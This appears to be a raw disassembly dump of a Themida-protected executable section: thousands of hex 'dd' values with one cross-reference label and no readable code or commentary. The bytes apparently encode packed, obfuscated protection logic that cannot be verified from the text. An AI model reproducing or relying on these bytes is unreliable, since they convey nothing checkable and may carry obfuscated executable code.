3C430000h, 0BFD85844h, 6F906470h dd 667B1BD9h, 8074EA44h, 81E91FE4h, 17FFFFFFh, 5C7E3A8Ah dd 2F18F2C5h, 3D8A00B8h, 9E84Bh, 0D2B10000h, 974C2658h dd 3448DD4h, 0E216F585h, 8D8B5E05h, 5E22AC5h, 6715C681h dd 91BA0000h, 89000019h, 0E2296985h, 2336FF05h, 0E22669BDh dd 33B45B05h, 873DC381h, 0E9517038h, 9, 98594C10h, 0F4B03EEEh dd 0C3815F68h, 353F12C2h, 0C381E38Ah, 13278DB2h, 1505858Bh dd 1E8905E2h, 10E9h, 4C8C3C00h, 0D9593F95h, 8FEB96DDh dd 2C6EF41Eh, 49EE812Bh, 0E82A27BFh, 0Dh, 513ABFC2h, 0F7762293h dd 35B2C86Bh, 0FBBF0F60h, 45C68159h, 0F2A27BFh, 8Fh, 1EA8300h dd 19850Fh, 0E5800000h, 29E933h, 65380000h, 23B90261h dd 9D0A59FEh, 0E23AA650h, 8B35928Dh, 0E2217DBDh, 0FF5FE905h dd 886EFFFFh, 2CC30D04h, 7369D3AEh, 0E9E9EF49h, 266h, 0D98C6660h dd 0F04C1F6h, 3584h, 0FF016A00h, 0E2262DB5h, 61858D05h dd 0FF05E57Ah, 158589D0h, 8B05E22Dh, 0CEFC1FEh, 6000068h dd 6A006A20h, 0D685702h, 0FF000100h, 0E22D1595h, 32E905h dd 85C60000h, 5E20A49h, 30DF6856h, 0B5FFA9C5h, 5E216A1h dd 7A61858Dh, 0D0FF05E5h, 24798589h, 858D05E2h, 5E20935h dd 6A406A50h, 95FF5605h, 5E22479h, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 0DF858908h, 8B05E785h, 85890C42h dd 5E785D7h, 8910428Bh, 0E785DB85h, 15B58D05h, 8D05E786h dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 85DFB58Bh, 858B05E7h dd 5E785D7h, 85DBBD83h, 0F0005E7h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 5E785DFh, 8666B58Dh dd 858D05E7h, 5B7E35h, 5A61D0FFh, 85DF858Bh, 4C205E7h dd 0DF858B00h, 8B05E785h, 0DF858900h, 0CF05E785h, 0 dd 3CB58960h, 8905E786h, 0E7863885h, 0DD858D05h, 8B05E231h dd 85894440h, 5E78675h, 86ABB58Dh, 858D05E7h, 5B7E35h dd 8B61D0FFh, 0E7863C85h, 9D8BC305h, 5E78638h, 3C43B70Fh dd 5B8BD803h, 389D0378h, 8B05E786h, 0B5032473h, 5E78638h dd 207B8B56h, 31C738Bh, 0E78638BDh, 38B50305h, 0FC05E786h dd 41FFC983h, 863C9D8Bh, 178B05E7h, 86389503h, 0C78305E7h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 86388503h, 858905E7h, 5E7863Ch, 0CE8BF08Bh dd 0BD81C18Bh, 5E78675h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0E78675BDh, 70C8305h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 5E78675h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0E78675BDh, 30000005h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 5E785E3h, 2D858589h dd 858D05E2h, 5E78679h, 2FA18589h, 858D05E2h, 5E78640h dd 2D3D8589h, 3CE905E2h, 1, 4Eh dup(0) dd 83000000h, 0E217B5BDh, 840F0105h, 530h, 12E9h, 59B09900h dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 0C6F54A19h, 0E20A4985h dd 13E94305h, 55000000h, 6E5AA921h, 4F4BC8BAh, 0AB454959h dd 0EA0DB52Fh, 68E123h, 50ACD9A4h, 50525052h, 5A310F52h dd 0F310F58h, 81h, 0F585A00h, 52506031h, 585A310Fh, 61D68B66h dd 481585Ah, 0CC2CF524h, 0B70F603Fh, 14830FFEh, 0E8000000h dd 0Eh, 82AE8DC6h, 5DBB311Eh, 0DDB787FFh, 6158F3D4h, 16A1B5FFh dd 8DF505E2h, 0E57A6185h, 12E905h, 67240000h, 0B134B14Eh dd 717BDC22h, 0D84ACAF6h, 9ABD49E1h, 92CFB960h, 800F45EEh dd 2, 0FF61D9B4h, 7810FD0h, 60000000h, 8B666160h, 858961FEh dd 5E20B7Dh, 0B8E0Fh, 6E90000h, 61000000h, 0B406796h, 4985C65Eh dd 5005E20Ah, 0BB66FC60h, 6861F4FCh, 85E51932h, 9E95250h dd 95000000h, 0C7198CD7h, 0FBDB3B86h, 800F310Fh, 14h, 0FE9h dd 0F9935600h, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 3481585Ah dd 48B46424h, 5E92Dh, 0D990000h, 0FFBAC186h, 0E216A1B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 29DD2A6Dh, 60E6D3FDh, 61858D61h, 6A05E57Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0BCF0C352h, 58D0Fh, 80600000h, 0E96119CEh dd 7, 3554C198h, 0FF662652h, 8589FCD0h, 5E218D5h, 0EE9h dd 0A3374400h, 0F87342D2h, 0CE6FEF9Fh, 68A81B18h, 8B79A6FFh dd 60605250h, 61F08B61h, 6660310Fh, 617FBEB8h, 481585Ah dd 16013024h, 10E965h, 15AB0000h, 7D69B573h, 0E2F3B641h dd 368F934Ch, 0B5FF57D2h, 5E216A1h, 61858DF8h, 0F905E57Ah dd 0E960D0FFh, 0Eh, 0B2416102h, 367B4BB4h, 95AB3B36h, 8F0FB804h dd 16h, 10E8h, 1D368000h, 0DC30D813h, 0DFE9A5E1h, 6CAAAD4Fh dd 0E9615ECFh, 13h, 2D69855Ch, 2B776E2h, 4D287ABFh, 64971C38h dd 89849999h, 0E20C1985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5E6EB632h dd 13840Fh, 0EE90000h, 45000000h, 0DC7A5BCBh, 0A9831F93h dd 0D9397B64h, 4985C67Dh, 5005E20Ah, 0B70F5660h, 0BF665AD8h dd 6861C02Eh, 4A458DBEh, 108A0Fh, 0E9600000h, 7, 37A02DE7h dd 0B47F7EAFh, 48161A5h, 574E9824h, 16810F4Dh, 0E9000000h dd 11h, 0A19DF547h, 0F49B7EB3h, 50146F55h, 9B735357h, 2DB5FFABh dd 0F05E226h, 180h, 858DF800h, 5E239EDh, 0D0FFF9F5h, 3BC78160h dd 0E8736B7Bh, 0Eh, 88C04C09h, 534190D6h, 0E58D8735h, 890FF655h dd 0 dd 8589615Bh, 5E2086Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0CEC35747h, 0B8A365C2h, 433DD254h, 14E9AFh dd 71B60000h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h dd 840FA2ACh, 0Ah, 0F616060h, 8Fh, 0D5E96100h, 60000001h dd 6660C28Bh, 0A2CEC381h, 11E8h, 0CDBA3500h, 0D4B823F3h dd 0B706692Ch, 0F1A20792h, 615F8AA9h, 52509561h, 2820Fh dd 61600000h, 840F310Fh, 6, 310F5250h, 585A585Ah, 13E86050h dd 0E4000000h, 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h dd 615B3F1Bh, 53006A95h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 520168FDh, 0A886A21Ah, 60EC8B9Bh dd 0B880Fh, 5E80000h, 78000000h, 153688A0h, 3ABA665Bh dd 0C4836136h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0E90A2D41h, 0D5AC1F96h dd 0BF666038h, 0D68B9C64h, 1800F61h, 0F8000000h, 17820F60h dd 60000000h, 0DE86160h, 0AD000000h, 0AEA15E2Dh, 0DDAE2E2Eh dd 474BC085h, 0E8615Eh, 5A000000h, 8D84EA81h, 45C705E7h dd 0FCh, 0B5BA8300h, 105E217h, 98840Fh, 6A520000h, 0FF0F6A00h dd 0E20B7D92h, 82895A05h, 5E787F0h, 87F49A8Dh, 0C75205E7h dd 12803h, 0FF505300h, 0E218D592h, 8D525A05h, 0E787F49Ah dd 0B2FF5305h, 5E787F0h, 86D92FFh, 0B5A05E2h, 8D5074C0h dd 0E787F49Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5E201BDh dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 1BD828Dh, 0FF5005E2h dd 0E20C1992h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h dd 0FC45h, 8B610000h, 0C2C9FC45h, 820F0008h, 6, 0C0B70F60h dd 5E961F8h, 3000000h, 0B1277CFBh, 0FE9h, 2DE9B300h, 2F872762h dd 0AE5DF8D1h, 434EE912h, 8D8DD28Bh, 5E78EDFh, 0BD19589h dd 8D8905E2h, 5E20BE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 44C35545h, 8BFA8B66h, 0E20A8985h, 6185C705h dd 2C05E207h, 0F00006Ah, 85C7FFB7h, 5E21B55h, 0 dd 0CDB5FFF9h, 8905E22Ah, 0E210898Dh, 1595FF05h, 0F05E20Bh dd 68Eh, 0D5BD8900h, 6A05E22Bh, 0B995FF00h db 0Ah, 0E2h word_546B96 dw 8B05h ; DATA XREF: Themida_:004EED40o dd 6F59EBC0h, 7595E2B2h, 0D45BCD92h, 0A059C4A1h, 50ED45A3h dd 1672C096h, 0A62D65ECh, 0FCC9CF3Dh, 37AB0DDCh, 9A535050h dd 6936C468h, 0F57A2AB8h, 0E733E652h, 0AB373C84h, 0B6E1EFB1h dd 513E71D3h, 8ABD06Fh, 0E4465F08h, 6396C5C8h, 0A45CCF0Ah dd 0DA05D6A7h, 418ACC01h, 69097C85h, 9E8h, 0ED0A4900h dd 4CDE608Fh, 0BD8BFDAFh, 5E210E9h, 89C18159h, 80000071h dd 0BEAFC0h, 89000000h, 0E20941B5h, 31148B05h, 0C281D7B0h dd 2D7B9609h, 2B01BD89h, 0C28105E2h, 1277F347h, 10E9h dd 46D1B500h, 31773376h, 0CED9D8D2h, 4E366322h, 48C28192h dd 0B3606CE6h, 0FA8B52B7h, 0E931048Fh, 9, 0B112C6E4h, 0E6E27DD0h dd 90DF8143h, 8163ECD0h, 7DB57CEEh, 3DBD2976h, 8105E226h dd 7DB578C6h, 2F78B876h, 0FE8114EAh, 0FFFF8F10h, 0FF8F850Fh dd 8E0FFFFFh, 2, 8EB13B7h, 64DFE1C2h, 77E7339Ch, 0E2FE9h dd 918E6800h, 1CE905E7h, 68FFFAF0h, 5E792AFh, 0FAF012E9h dd 945168FFh, 8E905E7h, 68FFFAF0h, 5E795BAh, 0FAEFFEE9h dd 975A68FFh, 0F4E905E7h, 68FFFAEFh, 5E799C6h, 0FAEFEAE9h dd 9B3C68FFh, 0E0E905E7h, 68FFFAEFh, 5E79C63h, 0FAEFD6E9h dd 0E2A650FFh, 555185E4h, 0BC00F849h, 0E6A45316h, 4E5489F8h dd 734C2B40h, 0AB9E048Ah, 5646230h, 7ACFCBD7h, 0D3933F7Dh dd 2944F552h, 909DF9FFh, 23696E2Ah, 5A6099D8h, 0DD9C0DBCh dd 0B4350681h, 32807BAEh, 9FB3D0A9h, 0E56B4FE8h, 0D5A201FAh dd 0FA5ACFB6h, 1E336D3Ah, 4EDDDB1Ah, 0AEF7D00Dh, 0F9FA6C91h dd 39704482h, 3FE6E4E4h, 274Bh, 7B187F00h, 0C777D057h dd 1E01FAD1h, 0C07DDA21h, 0D3F9FAA1h, 0A4EA1352h, 8BB31441h dd 2B9974BBh, 0FA363FE6h, 8000000h, 0D823696Eh, 2B5E6499h dd 0B94E0FA8h, 0A887FC18h, 0AC3D8179h, 13995E81h, 0A904988h dd 0BE575B8Ch, 62E5FC18h, 18BC94C5h, 0D5F64DFCh, 382F6D6Ah dd 0BB01F6B9h, 0E152EB60h, 30FC18BCh, 0C5A4627Bh, 0BA779614h dd 298EB195h, 1FAEFF1h, 0ABF5B10h, 0AEAF088Bh, 67F9FA8Fh dd 8F3E3F08h, 98D7F9FAh, 0C5E9764Fh, 5B80C342h, 24853655h dd 1F5AACDBh, 0E11B5A04h, 0D2074EDDh, 0CF04B1D4h, 0ACD3A8FEh dd 45A0EEEDh, 6125D110h, 1756D958h, 5C03A4E2h, 2F6E119Fh dd 0CFDBECAAh, 75FBFBBAh, 0DE5063D4h, 88C5B2F7h, 4E89F87Dh dd 0BF07F48h, 35FB7885h, 9BEEFE7Dh, 0BF6B8h, 0B2F6E000h dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 281445E2h dd 40CDF9FFh, 276D6E9Ah, 5711C6BBh, 710FFC40h, 39A5123Eh dd 577B1833h, 0F96991D0h, 0FBC18B5Eh, 0F42B60B7h, 0EB60BB01h dd 480AAFD2h, 9B01FAFDh, 43F059ACh, 50F9FAFDh, 36EB1E16h dd 953FE657h, 0FFh, 23696EA9h, 946499D8h, 18B90233h, 0C8CC08FCh dd 2564F542h, 0D482CEBEh, 2E51B4E1h, 553ED2B9h, 8D15C42h dd 1879E3AFh, 298E31FCh, 0FC187528h, 363982F9h, 8105F1C1h dd 1E84F17Ah, 8ECF68EBh, 47FC1875h, 0BB86D434h, 0CD3AAE41h dd 68475FCh, 2B050AE7h, 9998E3AFh, 18FC3F30h, 2C99D6FCh dd 41BEFCFDh, 0AF2179DEh, 374001FAh, 0EFB228Ch, 0F156C946h dd 0F9FA1440h, 0FA6DDA91h, 0FEC2387Bh, 0FA14EC6Dh, 7D4E25F9h dd 8DA1AEA9h, 9220DB9Ah, 0D561C649h, 0D7041FC4h, 825B6194h dd 79382F04h, 0D1903E84h, 1419662Ch, 97FE7CC2h, 0AD593F2h dd 17C10000h, 0C2327793h, 7169D8C6h, 15C0A12Dh, 0C5360B97h dd 0BDA4D3FFh, 29B5FBE0h, 0F713A158h, 5E4448B2h, 22A8EEEBh dd 0F566C322h, 2CF9FF2Bh, 6D6EA561h, 11C6BB27h, 358D5581h dd 0A58C0ED0h, 5EC13E6Bh, 35F97ADFh, 5328FC18h, 6ED69C8Ah dd 59D82369h, 66D9DF16h, 0D29D2E72h, 707B6725h, 948FFD3h dd 0B2FDCED4h, 0FABA5115h, 0A8F34801h, 0FAB9B3CFh, 4E26A0F9h dd 0E60F06DBh, 717A53Fh, 0AE990000h, 45A0EEEFh, 51FEB710h dd 3D6DCA7Dh, 5401FADFh, 2858C1Fh, 0FA9FB4A5h, 0B5166DF9h dd 0FA9FD76Ch, 0B282C4F9h, 0E635A27Fh, 6E7093Fh, 183D0000h dd 77D0577Bh, 1FAD3FFh, 0D38D4A0Dh, 6EC7A690h, 13B4E179h dd 7B49B2F7h, 2F7EAB20h, 0F5B12564h, 3F68BD4h, 16C4F9FAh dd 5F0738Ah, 6CCE6487h, 41C02098h, 10F62FC8h, 0C6398476h dd 0FB708B11h, 58C78E2h, 3FE6ACC8h, 0EAB62265h, 0E0A45093h dd 8EED12ABh, 0D1000006h, 0AAEEEFAEh, 0DE1F6E2Ah, 785861h dd 7A36A1E0h, 0E5C63381h, 0B029070Ch, 0ED5A93EAh, 0C359DD7Ah dd 0B1F001FAh, 0D4144145h, 0D345D255h, 1C5E5C73h, 0AE4F0059h dd 6386F9FAh, 0FAAE95C6h, 0BAF74CF9h, 0F4B2D821h, 5BF88DCFh dd 0F57F077h, 6900D9Eh, 78E5D229h, 0EA74D554h, 3E962394h dd 18591ABFh, 0B98861A3h, 0BC0D7A40h, 81B8CD6Eh, 0A4833383h dd 3679F86Fh, 4F1024C4h, 8FAD1467h, 3982CB52h, 0DFFBC136h dd 0ACF2EBAAh, 0E5A3541Bh, 88AB8F98h, 0BC87E26Ch, 933h dd 0D1FDB93Fh, 0BA206490h, 38F13C7h, 0D5F1B73Eh, 0BD596794h dd 9D5E5F06h, 43B68B17h, 0EA10517Dh, 904938A6h, 0A1C08C0Ah dd 0FF2D5718h, 47878EF9h, 0D823696Eh, 0C071D659h, 11FC18B9h dd 0D182275Ah, 0FC18B9h, 0B4D9922Bh, 26489190h, 0F9020049h dd 7EC30482h, 46F9FF29h, 914A0D74h, 42B7BA03h, 5882C544h dd 85843154h, 0FF283324h, 3495E2F9h, 0CAFA6556h, 0F455D457h dd 0F9FF2843h, 5559069Fh, 262C1557h, 2E177049h, 0E7F9FFB7h dd 5F27D88h, 0A7E61B87h, 0DB106B2Fh, 0B7B4B902h, 5486F9FFh dd 0D2159342h, 0D4016428h, 2DA9E89Fh, 0D91269h, 0F4B2271Ah dd 0A7BBC891h, 66E0F9FFh, 7B77E08Eh, 0BBD588A6h, 0A92E11AAh dd 5582E7E3h, 0D66B3457h, 0E4F9FEBCh, 125DA8F4h, 7646A5E3h dd 2ABC04F0h, 67265420h, 0F5B32276h, 9DE82596h, 17C08F58h dd 27AFEE91h, 1D4C5A63h, 136h, 23696E21h, 71D659D8h, 0FC18B9C0h dd 0DE815A11h, 0AE91901Ch, 5EEA6329h, 0ED062136h, 200914B5h dd 0FC18BF2Fh, 6322BC3Dh, 6BFB08C0h, 0CA515F9Ah, 8C1F5481h dd 9612C285h, 0CE5C677h, 2EA6E907h, 81DA136Ah, 0FC18CCD0h dd 26291D0Ch, 0FF9B9EACh, 73D44B80h, 2001BE3h, 0EC4F9932h dd 0C6623910h, 900D6C89h, 0D18045Ch, 7CA22h, 6622D400h dd 0C9CD0978h, 307C7CCDh, 9A20D7AAh, 0C2D00D7Ch, 0F7C8AFC4h dd 2F12B806h, 89F8E6ACh, 0FE434F53h, 2F17B3F9h, 2CC071D6h dd 6C11F9FFh, 23696EAEh, 546499D8h, 0C788D1A1h, 1EFC18B9h dd 2491F421h, 5C9EE3EFh, 2F74A50h, 1441478Eh, 7C42BB8Eh dd 0D4BE5CCDh, 0E4E99A5h, 6CBDBE1Bh, 1F54FC18h, 0BF3CA7CEh dd 0DE18AAF1h, 576398E6h, 0C788D19Fh, 1EFC186Ch, 2491F421h dd 68A5E3EFh, 0C73A04E8h, 7, 0AF8EFBh, 6EB40000h, 7FD82369h dd 0FC18C9C2h, 0B3FD6A97h, 859AEC5Eh, 0D2A2AC3Dh, 32357364h dd 152516B3h, 87FCFC18h, 1C052F96h, 5F68F7ABh, 0B804F64Bh dd 456E046Dh, 0E543FC18h, 6B37A511h, 0EFAE616Fh, 0A8B47AECh dd 6614CDF7h, 4099D229h, 0B4D7DB01h, 4D4B8ACDh, 8B4ABD3Eh dd 47B5BC0Dh, 5785C47Bh, 0DFE5144Bh, 6DCF670Eh, 0CD6AED99h dd 0FC18768Ch, 2D1D3245h, 6092D772h, 2DAF922Bh, 1D69FE61h dd 0AF8D6EDEh, 70F19536h, 3BE768F1h, 413EFC18h, 43581F78h dd 0C62CFC18h, 3A04990Ch dd 7B3E28A1h, 5494AFCDh, 0FE5F0E73h, 8E30FFFFh, 351h, 23696EB4h dd 0B9F27FD8h, 0B8A2FC18h, 0FDFFBECCh, 2D783EBBh, 0E76A73A8h dd 9B2EB4F2h, 609422D8h, 5F9CEF24h, 9016C38Eh, 0B9272C75h dd 0C435FC18h, 0B9AAAB0Ch, 0C7BFC18h, 6ED150D7h, 92DB2266h dd 18B988C9h, 0D9E259FCh, 0F4D845B2h, 0FBC93275h, 781ABFE2h dd 0AB020049h, 8F7C57DCh, 0BACF045Ch, 62ADBh, 0C6C23400h dd 296D69D8h, 901CDCADh, 0FAC0370Ah, 22706DDCh, 57680FA4h dd 8FF218A6h, 0E958464Ch, 5E23AFF3h, 0CFF71399h, 2E2011B6h dd 8CF1F9FFh, 0FF696E4Eh, 53E206B5h, 7C8FC4E9h, 1CBA08F5h dd 622EAAEDh, 0D1E11659h, 0E1B6228h, 545F48E4h, 3562DF9Dh dd 9D23D8A9h, 8816C70Eh, 8F67C17Dh, 0EEF4BA23h, 4A36DA0h dd 5C81C03Ah, 67C8E48Ah, 60DD91E2h, 273DA47h, 0AEEC0000h dd 1BACEAEFh, 0FC0F3F22h, 7B88893h, 8D79FFFBh, 0F30EC71Ah dd 2576438h, 185E0000h, 75D25579h, 0FC18B9C4h, 7AC7261Dh dd 0FB07B8D3h, 88B68EC8h, 8FBCD01Fh, 0D7F0B50Fh, 0F23B7E53h dd 0BAC2F38h, 2F69D4Ah, 7D7DAC9Bh, 5861EA31h, 220DBh, 7918EF00h dd 0D91D9B5Fh, 342B60DDh, 18B9A693h, 0E2F364FCh, 1691A969h dd 32099D2Eh, 0F0E9A8EBh, 0C11A53AAh, 773DD78h, 0B88CCAFBh dd 0F3D99C71h, 1EB3338h, 0D8C0000h, 0F77BABACh, 0CF077A02h dd 4EEB9ECBh, 2F77B0Dh, 685E6FC4h, 0D2557918h, 18B9CC75h dd 975F1EFCh, 7A438813h, 3B3C9D2Ch, 0EAFC18B9h, 5AC5209Dh dd 9A65A1CDh, 79426CC9h, 77D7510h, 10E462FBh, 0F16CF562h dd 0CE79327h, 19528FBBh, 96F938F3h, 0CD000001h, 0B2FF39AEh dd 38AB9320h, 7B37A0AFh, 63E8337Fh, 6B6CD736h, 0A9B6A12Dh dd 51258285h, 4801FA9Eh, 0A6E9A8F3h, 6FDBB434h, 7419DFB4h dd 5E6FEC3Fh, 0FA7378F5h, 19ED6BF9h, 0E6D93B96h, 28D3923Fh dd 0DA216790h, 1E832491h, 37h, 95020E9Bh, 517F92BDh, 7B18B288h dd 0EE51D057h, 1546A5EBh, 0D1EB6BB4h, 913A01FAh, 4EC76594h dd 0B1D401A8h, 0FAF25BE8h, 360E48F9h, 0E65E1EF3h, 0DC8D3Fh dd 6EB10000h, 47CCFF69h, 2BD7504Bh, 0B724AFFEh, 0A65392E9h dd 9D5A85E0h, 0CF4EF31Fh, 18E3E96Ah, 230135FCh, 0CCB02B0Ah dd 77D0E946h, 0FC18CD8Bh, 2AD0E019h, 99D60766h, 0B52467E6h dd 0E5F9CEFh, 0FC18C14Dh, 81EAF84h, 0B324C24Fh, 3254A0BFh dd 0F364C58Fh, 22FC18EBh, 0D9E71255h, 0ADDC0942h, 0FD3BE80Ch dd 0D9482701h, 0DAE01756h, 0DD9D5E01h, 0FDBBFB7Ch, 0E05D2AF9h dd 0D70447FAh, 738A18C3h, 0A05A8DFAh, 5784CB1Ch, 1D012C49h dd 1174045Fh, 3BE4Eh, 6A2EA800h, 0DDD91D6Ch, 4887031h dd 6E2CAB9Eh, 0D6DC0160h, 0CBD4B3C8h, 23068C12h, 9DECEAB8h dd 0F2B7535Fh, 5B1B8705h, 20CC8D2Ah, 1805F9FFh, 276D6ED2h dd 8B11C6BBh, 0D4FB0394h, 8E64C1B0h, 0AA0A918Dh, 0D9C502h dd 696E5C1Ah, 6099D823h, 172BBC5Ah, 53FC18B9h, 0E4671ACEh dd 2EB36973h, 4A502FEh, 0FAF787BBh, 0DE1B6E01h, 0D3084DD8h dd 0CB8C2DACh, 1AF9FAF7h, 9DE8B627h, 0CCDAE358h, 0FF696E06h dd 3E602C33h, 1668E123h, 2CF87511h, 0C80B92CFh, 4B57830Fh dd 5AC7F01Eh, 44B0F376h, 0D00D8B4Ah, 4D470851h, 0A19EFC18h dd 5A309918h, 0BD01FA2Ch, 3DD643C6h, 63670AD9h, 0B39CA700h dd 0F9FB07BEh, 2CADECADh, 0FCC23B6Eh, 0D39B2CA9h, 0CD71ACE3h dd 2BDE3FE7h, 0E0000000h, 995D7B18h, 8CCD6A1Dh, 45FC18B9h dd 298EB1EEh, 1FAD129h, 1F7883F8h, 0F9FAA162h, 88FFF771h dd 3FE62B55h, 0E0FAh, 696ECC00h, 0D659D823h, 0CC5F6397h dd 0B9BDBE8Fh, 1F54FC18h, 545A83CEh, 43498E31h, 7A40B938h dd 0E8D452C7h, 91B5DE87h, 5095248h, 97FC18D5h, 0CBBE2462h dd 0D699880Eh, 3A419A1Eh, 0FD6C40CDh, 0FAB84A5Ch, 8EE501h dd 63E6CA57h, 1FE148C6h, 9594E304h, 0E4AA5312h, 0CC735481h dd 0DF9E810Fh, 5248911Dh, 5BA0EEEFh, 0FE7CDE64h, 48036207h dd 52000002h, 87FAE0A4h, 0FA4F4B4Fh, 5514B2FEh, 8BFEE4A2h dd 29464C52h, 3A88754Ah, 602EAD9Ch, 0C9D5077Ah, 3D7B7CCDh dd 0F354AD91h, 0F9FF2242h, 6E289293h, 0E1AD2D6Dh, 7F2B5B4h dd 9DD990B9h, 9893DF7Ah, 67265B4Fh, 1859FE72h, 0C9FC18E4h dd 0BDA40572h, 0D1507E3Ch, 0E44809AEh, 2582FC18h, 0FC18E434h dd 0B38896EDh, 0EE92799Ah, 5D6E93C5h, 0E7EFAE69h, 306D31A9h dd 6E4760D5h, 0FD5ACDE1h, 1FAD17Dh, 3B510394h, 6608DE6h dd 58D5B2C9h, 6AF9FA28h, 9BDA216Fh, 0B5C95C62h, 0ABFD4333h dd 0FBD6592Dh, 523FE6A4h, 0DF0154C5h, 1514B48Bh, 0FA8483B4h dd 0C4E552F9h, 0C55Fh, 844FD800h, 0ADF333E2h, 6E876344h dd 99D82369h, 682B5E64h, 0F590296Fh, 18BEE6ACh, 8705F2FCh dd 0EBB1261Bh, 0E354F574h, 32FC18BCh, 0E0D96445h, 59D84F63h dd 6BC1CCC0h, 0DCED5E4Ah, 0FA549373h, 777FC201h, 87FCC239h dd 868B4C4Ah, 671ABFA2h, 8E041FC8h, 2D783EBBh, 8DCC73A8h dd 0E5444250h, 844DAAF8h, 7FE7CCCh, 1210362h, 0CB0D0000h dd 767EC3CFh, 25D59432h, 0C90C7D99h, 7962C7C3h, 7110AF2Bh dd 0E5E1AF2Ch, 434F5584h, 2AB0FCFEh, 0FEE4A257h, 292A8FF6h dd 0F8F9FF25h, 0EFAE71B5h, 1358A3E7h, 0B98ACB6Ch, 0EC5BFC18h dd 596794DBh, 8D0BCCBDh, 0ED250D9Ah, 20305F1Eh, 3F7E8387h dd 2697F6BCh, 2FAEA185h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh dd 0AB3C69C6h, 167533A4h, 0A4BEC6Fh, 0DBFC18B9h, 0F2C03D6Ch dd 0D69922ABh, 47085121h, 45FC18B9h, 360D0995h, 751ADDF9h dd 3AAF2E51h, 3730426Bh, 5AA304DFh, 2000D44h, 0CA7590EFh dd 0C800530Dh, 6E5A9557h, 0ADF8BE3Bh, 52D7F328h, 29CF7EC5h dd 0C6E78F48h, 0CD585E9Bh, 0B69A2364h, 52C74A58h, 8F3D761Ah dd 0CB7354EEh, 0C90C4FFBh, 8277FAC3h, 99420504h, 95D4B20Bh dd 9CC72664h, 0EEC85359h, 63E29064h, 38BA95C6h, 0FA2B4C9Bh dd 95530172h, 77FAC338h, 0AB9E0482h, 76F9682Eh, 38E560D1h dd 0E1FAB19Bh, 0F4EDB5Ah, 68902CAAh, 84F922Bh, 0CC000000h dd 67404E8Dh, 6E9DA783h, 96D92C68h, 81C05B61h, 8D34575Bh dd 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h dd 0F2788307h, 8904EC83h, 0E2892414h, 4C281h, 0EA830000h dd 24148704h, 6EF6685Ch, 0C890000h, 3E116824h, 3C890000h dd 0D6685224h, 5A697168h, 762768B9h, 5AD1019Ch, 243C8B54h dd 6804C483h, 5DA3h, 8F240C89h, 3C8B0847h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 592434FFh, 4C481h dd 0E90000h, 90FFFAE2h, 0D6A24A54h, 6CE3AACAh, 0E79DA9B8h dd 0FFC50305h, 6A7DCDE0h, 114CCC12h, 0DF0B166Bh, 0A62D965Eh dd 2B85BE4Eh, 88CC7F64h, 6FF7A12Eh, 46017D16h, 34D94932h dd 1A750129h, 0A7BD2121h, 4619D1Ch, 0DDC53559h, 0D799211Eh dd 8E75897Dh, 0DD62562Bh, 176B1070h, 0D771E7Eh, 0B464B744h dd 0FCE41A2Ah, 68521556h, 98540C37h, 0CC588507h, 0DCF15966h dd 0D0A3073Fh, 0C55DB347h, 51F68435h, 0E6BDF859h, 0FE831h dd 209D0000h, 6E2100F5h, 97D27697h, 0CE0DD1CAh, 5F77B6CEh dd 7ABE6653h, 0C7815E87h, 5DC5h, 0EA81C02Bh, 39DABC0Fh dd 663834FFh, 8159DA8Bh, 2A82B5F1h, 0DAE98119h, 0E83C41E2h dd 0Bh, 16A50C35h, 65967F3Dh dd 81F1E93Fh, 7AF1F0C2h, 0E9815E06h, 2F3556D1h, 51D9B70Fh dd 21BF6660h, 0CCD981A5h, 61202BB8h, 6607048Fh, 0DAC3E681h dd 6004E883h, 0D281F08Ah, 7E2D8B2Dh, 0C0F88161h, 0FFFFFA2h dd 0FFFF9F85h, 0EBA9B3FFh, 2Dh, 0AE0DD000h, 0F2319CBFh dd 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 8168009Dh, 0BD146726h, 42F503B2h, 0E9E94A1Ah, 6800000Ah dd 5E7A093h, 0FAE0B2E9h, 0A20368FFh, 0A8E905E7h, 68FFFAE0h dd 5E7A2F1h, 0FAE09EE9h, 0A3AB68FFh, 94E905E7h, 68FFFAE0h 